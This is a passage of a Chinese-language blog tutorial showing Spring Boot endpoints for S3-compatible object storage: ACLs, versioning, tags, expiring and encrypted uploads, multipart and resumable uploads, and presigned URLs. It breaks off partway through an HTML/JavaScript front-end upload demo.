</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/6add466e7176202f2e492e56c4dbb769.png" alt="image.png"></p><h3 id="设置指定文件的访问权限">设置指定文件的访问权限</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/setObjectAcl&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;String&gt; <span class="title function_">setObjectAcl</span><span class="params">(<span class="meta">@RequestParam</span> String bucketName, <span class="meta">@RequestParam</span> String objectName, <span class="meta">@RequestParam</span> String acl)</span> &#123;  </span><br><span class="line">    ossTemplate.setObjectAcl(bucketName, objectName, acl);  </span><br><span class="line">    <span class="keyword">return</span> R.ok(<span class="string">&quot;ACL set for object: &quot;</span> + objectName);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/423026e4197983c57d2b3993e0af6341.png" alt="image.png"></p><h3 id="启用或者关闭指定bucket版本控制">启用或者关闭指定bucket版本控制</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/setBucketVersioning&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;String&gt; <span class="title function_">setBucketVersioning</span><span class="params">(<span class="meta">@RequestParam</span> String bucketName, <span class="meta">@RequestParam</span> <span class="type">boolean</span> enable)</span> &#123;  </span><br><span class="line">    ossTemplate.setBucketVersioning(bucketName, enable);  </span><br><span class="line">    <span class="keyword">return</span> R.ok(<span class="string">&quot;Versioning set to &quot;</span> + (enable ? <span class="string">&quot;Enabled&quot;</span> : <span class="string">&quot;Suspended&quot;</span>) + <span class="string">&quot; for bucket: &quot;</span> + bucketName);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/5716ca557c79d1ffa951f74ebe097d2e.png" alt="image.png"></p><h3 id="给指定文件打标签">给指定文件打标签</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/setObjectTags&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;String&gt; <span class="title function_">setObjectTags</span><span class="params">(<span class="meta">@RequestParam</span> String bucketName, <span class="meta">@RequestParam</span> String objectName, <span class="meta">@RequestBody</span> Map&lt;String, String&gt; tags)</span> &#123;  </span><br><span class="line">    ossTemplate.setObjectTags(bucketName, objectName, tags);  </span><br><span class="line">    <span class="keyword">return</span> R.ok(<span class="string">&quot;Tags set for object: &quot;</span> + objectName);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/ec14dfaefa4fcb004bde3422d8a69447.png" alt="image.png"></p><h3 id="获取指定文件的标签">获取指定文件的标签</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/getObjectTags&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;Map&lt;String, String&gt;&gt; <span class="title function_">getObjectTags</span><span class="params">(<span class="meta">@RequestParam</span> String bucketName, <span class="meta">@RequestParam</span> String objectName)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> R.ok(ossTemplate.getObjectTags(bucketName, objectName));  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/e28377d2dfbdb14129e33c8cbd0f962e.png" alt="image.png"></p><h3 id="上传一个会定时删除的文件">上传一个会定时删除的文件</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;putObjectWithExpiration&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;String&gt; <span class="title function_">putObjectWithExpiration</span><span class="params">(<span class="meta">@RequestParam</span> String bucketName, <span class="meta">@RequestParam</span> MultipartFile file, <span class="meta">@RequestParam</span> <span class="type">int</span> days)</span> &#123;  </span><br><span class="line">    <span class="type">String</span> <span class="variable">fileName</span> <span class="operator">=</span> file.getOriginalFilename();  </span><br><span class="line">    <span class="keyword">try</span> &#123;  </span><br><span class="line">        <span class="type">String</span> <span class="variable">uuid</span> <span class="operator">=</span> UUID.randomUUID() + <span class="string">&quot;.&quot;</span> + FileUtil.getFileType(fileName);  </span><br><span class="line">        ossTemplate.putObjectWithExpiration(bucketName, uuid, file.getInputStream(), days);  </span><br><span class="line">        <span class="keyword">return</span> R.ok(<span class="string">&quot;File uploaded: &quot;</span> + uuid);  </span><br><span class="line">    &#125; <span class="keyword">catch</span> (IOException e) &#123;  </span><br><span class="line">        <span class="keyword">return</span> R.fail(<span class="string">&quot;Failed to upload file: &quot;</span> + fileName);  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/a35627793af13d651240c31ddf75ed92.png" alt="image.png"></p><h3 id="上传加密文件">上传加密文件</h3><p>需要在服务端配置KMS，这里使用的是默认的AES256，其他可以调<code>putObjectWithEncryption</code>方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/uploadWithEncryption&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;String&gt; <span class="title function_">uploadWithEncryption</span><span class="params">(<span class="meta">@RequestParam</span> String bucketName,  </span></span><br><span class="line"><span class="params">                                      <span class="meta">@RequestParam(&quot;file&quot;)</span> MultipartFile file)</span> &#123;  </span><br><span class="line">    <span class="type">String</span> <span class="variable">uuid</span> <span class="operator">=</span> UUID.randomUUID() + <span class="string">&quot;.&quot;</span> + FileUtil.getFileType(file.getOriginalFilename());  </span><br><span class="line">    <span class="keyword">try</span> (<span class="type">InputStream</span> <span class="variable">inputStream</span> <span class="operator">=</span> file.getInputStream()) &#123;  </span><br><span class="line">        <span class="type">PutObjectResponse</span> <span class="variable">response</span> <span class="operator">=</span> ossTemplate.uploadWithEncryption(  </span><br><span class="line">                bucketName,  </span><br><span class="line">                uuid,                inputStream,                file.getSize(),  </span><br><span class="line">                file.getContentType()  </span><br><span class="line">        );  </span><br><span class="line">        <span class="keyword">return</span> R.ok(<span class="string">&quot;File uploaded with encryption: &quot;</span> + response.toString());  </span><br><span class="line">    &#125; <span class="keyword">catch</span> (IOException e) &#123;  </span><br><span class="line">        <span class="keyword">return</span> R.fail(<span class="string">&quot;File upload failed: &quot;</span> + e.getMessage());  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="分片上传">分片上传</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/uploadMultipart&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;String&gt; <span class="title function_">uploadMultipart</span><span class="params">(<span class="meta">@RequestParam</span> String bucketName,  </span></span><br><span class="line"><span class="params">                                 <span class="meta">@RequestParam</span> MultipartFile file)</span> <span class="keyword">throws</span> IOException, InterruptedException &#123;  </span><br><span class="line">    <span class="type">String</span> <span class="variable">objectName</span> <span class="operator">=</span> file.getOriginalFilename();  </span><br><span class="line">    <span class="comment">// 初始化分片上传  </span></span><br><span class="line">    <span class="type">String</span> <span class="variable">uploadId</span> <span class="operator">=</span> ossTemplate.initiateMultipartUpload(bucketName, objectName);  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 将文件按部分大小（5MB）分块上传  </span></span><br><span class="line">    <span class="type">long</span> <span class="variable">partSize</span> <span class="operator">=</span> <span class="number">5</span> * <span class="number">1024</span> * <span class="number">1024</span>;  </span><br><span class="line">    <span class="type">long</span> <span class="variable">fileSize</span> <span class="operator">=</span> file.getSize();  </span><br><span class="line">    <span class="type">int</span> <span class="variable">partCount</span> <span class="operator">=</span> (<span class="type">int</span>) Math.ceil((<span class="type">double</span>) fileSize / partSize);  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 用于存储已上传的部分  </span></span><br><span class="line">    List&lt;CompletedPart&gt; completedParts = Collections.synchronizedList(<span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;());  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 创建线程池  </span></span><br><span class="line">    <span class="type">ExecutorService</span> <span class="variable">executor</span> <span class="operator">=</span> Executors.newFixedThreadPool(Math.min(partCount, <span class="number">10</span>));  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; partCount; i++) &#123;  </span><br><span class="line">        <span class="keyword">final</span> <span class="type">int</span> <span class="variable">partNumber</span> <span class="operator">=</span> i + <span class="number">1</span>;  </span><br><span class="line">        <span class="type">long</span> <span class="variable">startPos</span> <span class="operator">=</span> i * partSize;  </span><br><span class="line">        <span class="type">long</span> <span class="variable">size</span> <span class="operator">=</span> Math.min(partSize, fileSize - startPos);  </span><br><span class="line">  </span><br><span class="line">        executor.submit(() -&gt; &#123;  </span><br><span class="line">            <span class="keyword">try</span> (<span class="type">InputStream</span> <span class="variable">inputStream</span> <span class="operator">=</span> file.getInputStream()) &#123;  </span><br><span class="line">                inputStream.skip(startPos);  </span><br><span class="line">                <span class="type">byte</span>[] buffer = <span class="keyword">new</span> <span class="title class_">byte</span>[(<span class="type">int</span>) size];  </span><br><span class="line">                <span class="type">int</span> <span class="variable">bytesRead</span> <span class="operator">=</span> inputStream.read(buffer, <span class="number">0</span>, (<span class="type">int</span>) size);  </span><br><span class="line">  </span><br><span class="line">                <span class="keyword">if</span> (bytesRead &gt; <span class="number">0</span>) &#123;  </span><br><span class="line">                    <span class="type">CompletedPart</span> <span class="variable">part</span> <span class="operator">=</span> ossTemplate.uploadPart(bucketName, objectName, uploadId, partNumber, buffer);  </span><br><span class="line">                    completedParts.add(part);  </span><br><span class="line">                &#125;  </span><br><span class="line">            &#125; <span class="keyword">catch</span> (IOException e) &#123;  </span><br><span class="line">                e.printStackTrace();  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125;);  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    executor.shutdown();  </span><br><span class="line">    executor.awaitTermination(Long.MAX_VALUE, TimeUnit.MILLISECONDS);  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 检查是否成功上传了所有部分  </span></span><br><span class="line">    <span class="keyword">if</span> (completedParts.size() == partCount) &#123;  </span><br><span class="line">        <span class="comment">// 在完成上传之前，按 partNumber 升序排序  </span></span><br><span class="line">        completedParts.sort(Comparator.comparing(CompletedPart::partNumber));  </span><br><span class="line">  </span><br><span class="line">        <span class="comment">// 完成分片上传  </span></span><br><span class="line">        ossTemplate.completeMultipartUpload(bucketName, objectName, uploadId, completedParts);  </span><br><span class="line">        <span class="keyword">return</span> R.ok(<span class="string">&quot;Upload completed successfully uploadId: &quot;</span> + uploadId);  </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">        <span class="comment">// 如果有部分上传失败，取消上传  </span></span><br><span class="line">        ossTemplate.abortMultipartUpload(bucketName, objectName, uploadId);  </span><br><span class="line">        <span class="keyword">return</span> R.fail(<span class="string">&quot;Upload failed, some parts are missing.&quot;</span>);  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/33051c4feb95b774bb9218b1509963f8.png" alt="image.png"></p><h3 id="断点续传">断点续传</h3><p><code>uploadId</code>是上一步分片上传获取到的，可以做个的记录，方便断点续传时使用。我这边测试方法是分片上传过程中直接终止了服务。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/resumeMultipart&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;String&gt; <span class="title function_">resumeMultipart</span><span class="params">(<span class="meta">@RequestParam</span> String bucketName,  </span></span><br><span class="line"><span class="params">                                 <span class="meta">@RequestParam</span> MultipartFile file,  </span></span><br><span class="line"><span class="params">                                 <span class="meta">@RequestParam</span> String uploadId)</span> <span class="keyword">throws</span> IOException, InterruptedException &#123;  </span><br><span class="line">    <span class="type">String</span> <span class="variable">objectName</span> <span class="operator">=</span> file.getOriginalFilename();  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 将文件读入内存  </span></span><br><span class="line">    <span class="type">byte</span>[] fileBytes = file.getBytes();  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 获取已经上传的部分  </span></span><br><span class="line">    List&lt;CompletedPart&gt; completedParts = ossTemplate.listParts(bucketName, objectName, uploadId);  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 继续上传未完成的部分  </span></span><br><span class="line">    <span class="type">long</span> <span class="variable">partSize</span> <span class="operator">=</span> <span class="number">5</span> * <span class="number">1024</span> * <span class="number">1024</span>;  </span><br><span class="line">    <span class="type">long</span> <span class="variable">fileSize</span> <span class="operator">=</span> fileBytes.length;  </span><br><span class="line">    <span class="type">int</span> <span class="variable">partCount</span> <span class="operator">=</span> (<span class="type">int</span>) Math.ceil((<span class="type">double</span>) fileSize / partSize);  </span><br><span class="line">  </span><br><span class="line">    <span class="type">ExecutorService</span> <span class="variable">executor</span> <span class="operator">=</span> Executors.newFixedThreadPool(Math.min(partCount, <span class="number">10</span>));  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> completedParts.size(); i &lt; partCount; i++) &#123;  </span><br><span class="line">        <span class="keyword">final</span> <span class="type">int</span> <span class="variable">partNumber</span> <span class="operator">=</span> i + <span class="number">1</span>;  </span><br><span class="line">        <span class="type">long</span> <span class="variable">startPos</span> <span class="operator">=</span> i * partSize;  </span><br><span class="line">        <span class="type">long</span> <span class="variable">size</span> <span class="operator">=</span> Math.min(partSize, fileSize - startPos);  </span><br><span class="line">  </span><br><span class="line">        executor.submit(() -&gt; &#123;  </span><br><span class="line">            <span class="keyword">try</span> &#123;  </span><br><span class="line">                <span class="type">byte</span>[] buffer = Arrays.copyOfRange(fileBytes, (<span class="type">int</span>) startPos, (<span class="type">int</span>) (startPos + size));  </span><br><span class="line">                <span class="type">CompletedPart</span> <span class="variable">part</span> <span class="operator">=</span> ossTemplate.uploadPart(bucketName, objectName, uploadId, partNumber, buffer);  </span><br><span class="line">                <span class="keyword">synchronized</span> (completedParts) &#123;  </span><br><span class="line">                    completedParts.add(part);  </span><br><span class="line">                &#125;  </span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception e) &#123;  </span><br><span class="line">                e.printStackTrace();  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125;);  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    executor.shutdown();  </span><br><span class="line">    executor.awaitTermination(Long.MAX_VALUE, TimeUnit.MILLISECONDS);  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 按 partNumber 升序排序  </span></span><br><span class="line">    completedParts.sort(Comparator.comparing(CompletedPart::partNumber));  </span><br><span class="line">  </span><br><span class="line">    <span class="comment">// 完成分片上传  </span></span><br><span class="line">    ossTemplate.completeMultipartUpload(bucketName, objectName, uploadId, completedParts);  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">return</span> R.ok(<span class="string">&quot;Upload resumed and completed successfully&quot;</span>);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/d8916e0cc3ce00011f010ea532046272.png" alt="image.png"></p><h3 id="前端不通过后台服务器使用预签名的表单上传数据">前端不通过后台服务器使用预签名的表单上传数据</h3><p>使用这种方式可以让客户端能够直接与 S3 进行交互，减少了服务器的负担，并且可以利用 S3 的上传能力进行大文件的处理。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/generatePreSignedUrl&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;String&gt; <span class="title function_">generatePreSignedUrl</span><span class="params">(<span class="meta">@RequestParam</span> String bucketName,  </span></span><br><span class="line"><span class="params">                                      <span class="meta">@RequestParam</span> String objectName,  </span></span><br><span class="line"><span class="params">                                      <span class="meta">@RequestParam</span> <span class="type">int</span> expiration)</span> &#123;  </span><br><span class="line">    <span class="type">String</span> <span class="variable">preSignedUrl</span> <span class="operator">=</span> ossTemplate.generatePreSignedUrlForPut(bucketName, objectName, expiration);  </span><br><span class="line">    <span class="keyword">return</span> R.ok(preSignedUrl);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>前面的demo</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">&quot;en&quot;</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;viewport&quot;</span> <span class="attr">content</span>=<span class="string">&quot;width=device-width, initial-scale=1.0&quot;</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>文件上传<span class="tag">&lt;/<span class="name">title</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css">        <span class="selector-tag">body</span> &#123;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">font-family</span>: Arial, sans-serif;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin</span>: <span class="number">20px</span>;  </span></span><br><span class="line"><span class="language-css">        &#125;  </span></span><br><span class="line"><span class="language-css">  </span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.upload-container</span> &#123;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">max-width</span>: <span class="number">500px</span>;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin</span>: <span class="number">0</span> auto;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">padding</span>: <span class="number">20px</span>;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">border</span>: <span class="number">2px</span> solid <span class="number">#ccc</span>;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">border-radius</span>: <span class="number">10px</span>;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">text-align</span>: center;  </span></span><br><span class="line"><span class="language-css">        &#125;  </span></span><br><span class="line"><span class="language-css">  </span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.file-input</span> &#123;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin-bottom</span>: <span class="number">20px</span>;  </span></span><br><span class="line"><span class="language-css">        &#125;  </span></span><br><span class="line"><span class="language-css">  </span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.progress-bar</span> &#123;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">100%</span>;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">background-color</span>: <span class="number">#f3f3f3</span>;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">border-radius</span>: <span class="number">5px</span>;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">overflow</span>: hidden;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin-bottom</span>: <span class="number">10px</span>;  </span></span><br><span class="line"><span class="language-css">        &#125;  </span></span><br><span class="line"><span class="language-css">  </span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.progress</span> &#123;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">height</span>: <span class="number">20px</span>;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">background-color</span>: <span class="number">#4caf50</span>;  </span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">0</span>;  </span></span><br><span class="line"><span class="language-css">        &#125;  </span></span><br><span class="line"><span class="language-css">    </span><span class="tag">&lt;/<span class="name">style</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;upload-container&quot;</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">h2</span>&gt;</span>上传文件到 S3<span class="tag">&lt;/<span class="name">h2</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;file&quot;</span> <span class="attr">id</span>=<span class="string">&quot;fileInput&quot;</span> <span class="attr">class</span>=<span class="string">&quot;file-input&quot;</span>/&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;progress-bar&quot;</span>&gt;</span>  </span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;progress&quot;</span> <span class="attr">id</span>=<span class="string">&quot;progressBar&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">button</span> <span class="attr">onclick</span>=<span class="string">&quot;uploadFile()&quot;</span>&gt;</span>上传文件<span class="tag">&lt;/<span class="name">button</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span> <span class="attr">id</span>=<span class="string">&quot;statusText&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">p</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span>  </span><br><span class="line">  </span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript">  </span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">uploadFile</span>(<span class="params"></span>) &#123;  </span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> fileInput = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;fileInput&#x27;</span>);  </span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> file = fileInput.<span class="property">files</span>[<span class="number">0</span>];  </span></span><br><span class="line"><span class="language-javascript">  </span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">if</span> (!file) &#123;  </span></span><br><span class="line"><span class="language-javascript">            <span class="title function_">alert</span>(<span class="string">&#x27;请选择一个文件进行上传&#x27;</span>);  </span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">return</span>;  </span></span><br><span class="line"><span class="language-javascript">        &#125;  </span></span><br><span class="line"><span class="language-javascript">  </span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 获取预签名 URL        const response = await fetch(`/oss/generatePreSignedUrl?bucketName=myBucket&amp;objectName=$&#123;file.name&#125;&amp;expiration=15`);  </span></span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> result = <span class="keyword">await</span> response.<span class="title function_">json</span>();  </span></span><br><span class="line"><span class="language-javascript">  </span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">if</span> (result.<span class="property">code</span> !== <span class="number">200</span>) &#123;  </span></span><br><span class="line"><span class="language-javascript">            <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;statusText&#x27;</span>).<span class="property">innerText</span> = <span class="string">&#x27;获取预签名URL失败&#x27;</span>;  </span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">return</span>;  </span></span><br><span class="line"><span class="language-javascript">        &#125;  </span></span><br><span class="line"><span 